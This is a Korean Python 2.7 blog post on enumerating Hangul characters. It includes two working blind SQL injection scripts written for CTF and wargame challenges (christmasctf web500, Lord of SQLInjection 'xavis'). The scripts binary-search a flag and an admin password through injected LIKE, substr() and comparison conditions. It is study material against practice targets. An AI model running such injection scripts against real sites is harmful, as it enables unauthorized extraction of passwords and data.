모든 한글 전체 출력
for i in range(0xd7a4-0xac00): print unichr(0xac00+i), #print '\n',unichr(0xac00),unichr(0xd7a3) #시작은 0xac00(가)부터 끝은 0xd7a3(힣)까지
어떤 웹사이트에 한글을 인코딩해서 보낼 시.
urllib2.quote('가'.encode('utf-8')) 처럼 인코딩하면 utf-8로 변환해서 전송.
christmasctf web500 (못풀었던거 writeup보고 코드만 짜봄.) 맨날 느끼는건데 writeup을 보면
풀수있는건데 막상 풀라고 하면 못푼다 ㅠㅠ
writeup에서 루비 코드로 4줄?인가면 짜던데;파이썬은 [가..힣] 이런거 없나...
# -*- encoding: cp949 -*- import urllib2 korean= [] for i in range(0xd7a4-0xac00): #모든 한글을 korean리스트에 넣고 korean.append( unichr(0xac00+i) ) #print korean #print '\n',unichr(0xac00),unichr(0xd7a3) str = '_' for i in range(50): #길이를 구해서 print i,str read = urllib2.urlopen(urllib2.Request('http://web-prob.dkserver.wo.tc/sqli_962a035aacf08966ffc7610957ac0c29/'+\ '?letter=-1%20or%20letter%20like%20%22'+str+'%22%20and%20no=4')).read() if read.find('ecret :)') != -1: length = i + 1 break str += '_' answer = [] for i in range(length): #한글자한글자 binary search로 얻어냄. binary = (0xd7a4-0xac00)/2; before = (0xd7a4-0xac00) #한글 전체의 중간~끝 범위가 처음 탐색범위 while 1: print korean[binary],'%s!!!!!' %''.join(answer) page = urllib2.urlopen(urllib2.Request('http://web-prob.dkserver.wo.tc/sqli_962a035aacf08966ffc7610957ac0c29/?letter=-1%20or%20letter%3E%22'+\ urllib2.quote((''.join(answer)+korean[binary]).encode('utf-8'))+'%22%20and%20no=4')).read() if page.find('ecret :)') != -1:#해당 범위안에 답이 있으면 binary = (before + binary)/2 #범위를 더 줄임. if str == korean[binary]: #이전의 답으로 나온 한글에서 변화가 없으면 그게 플래그. if i==length-1: #그런데 마지막 글자는 >가 false로 나오므로 한글자 뒤가 플래그.(마지막글자만.) answer.append(korean[binary+1]) else: answer.append(str) break str = korean[binary] else: #글자가 앞에 있으므로 이진 탐색을 앞 범위로 바꿈. before = binary binary /= 2 print ''.join(answer)
참고
http://blog.naver.com/powerhw/220194367529
http://1986hz.blog.me/30169453814
http://nuli.navercorp.com/sharing/blog/post/1079940
lord of sqlinjection xavis 한글 인젝션 바이너리 서치
# -*- encoding: cp949 -*- import urllib2 korean = [] for i in range(0xd7a4-0xac00): korean.append( unichr(0xac00+i) ) binary = (0xd7a4-0xac00)/2; before = (0xd7a4-0xac00); answer = '' for i in range(3): while 1: print korean[binary] req = urllib2.Request('http://leaveret.kr/los/xavis_04f071ecdadb4296361d2101e4a2c390.php?'+\ 'pw=%27%20or%20id=%27admin%27%20and%20substr(pw,'+str(i+1)+',1)%3D%27'+\ urllib2.quote(korean[binary].encode('utf-8'))+'%27%23') req.add_header('cookie','PHPSESSID=p7uitlh35htl9ibglq9qsb53k3') page = urllib2.urlopen(req).read() if page.find('Hello admin') != -1: print 'find korean!'+korean[binary] answer += korean[binary] break else: req = urllib2.Request('http://leaveret.kr/los/xavis_04f071ecdadb4296361d2101e4a2c390.php?'+\ 'pw=%27%20or%20id=%27admin%27%20and%20substr(pw,'+str(i+1)+',1)%3E%27'+\ urllib2.quote(korean[binary].encode('utf-8'))+'%27%23') req.add_header('cookie','PHPSESSID=p7uitlh35htl9ibglq9qsb53k3') page = urllib2.urlopen(req).read() if page.find('Hello admin') != -1: binary = (before + binary)/2 else: before = binary binary = binary * 2/3 print answer
나중에 코딩을 위한 알고리즘
# -*- encoding: cp949 -*- 배열에 한글 전체를 넣어놓음. binary = (0xd7a4-0xac00)/2 중간 위치부터 시작해서 before = (0xd7a4-0xac00) 최대의 탐색범위는 처음에는 끝으로 잡음. answer = '' for i in range(3): 3글자 while 1: if 글자가 맞는지 요청해보고 맞으면 답에 추가한 후 반복문을 종료. else 글자가 틀리면 글자보다 뒤에 있는지(>) 요청을 보내보고 if 뒤에 있으면 binary = (before + binary)/2 검색위치를 더 뒤로 else 뒤가 아니라 앞에 있으면 before = binary 글자의 뒷부분 최대범위를 before에 설정하고 binary = binary * 2/3 위치를 2/3지점으로 이동. 답 출력
유용한 글 추가. 페이스북 파이썬코리아의 이진석님. 문제될시 삭제하겠습니다.
'Python > 2.7 information' 카테고리의 다른 글
beautifulsoup (0) | 2015.01.14 |
---|---|
python win32api (0) | 2015.01.13 |
winpexpect ( ftz level5 ) (0) | 2014.12.27 |
pytesser모듈. (0) | 2014.12.19 |
Tkinter(python gui) (0) | 2014.11.22 |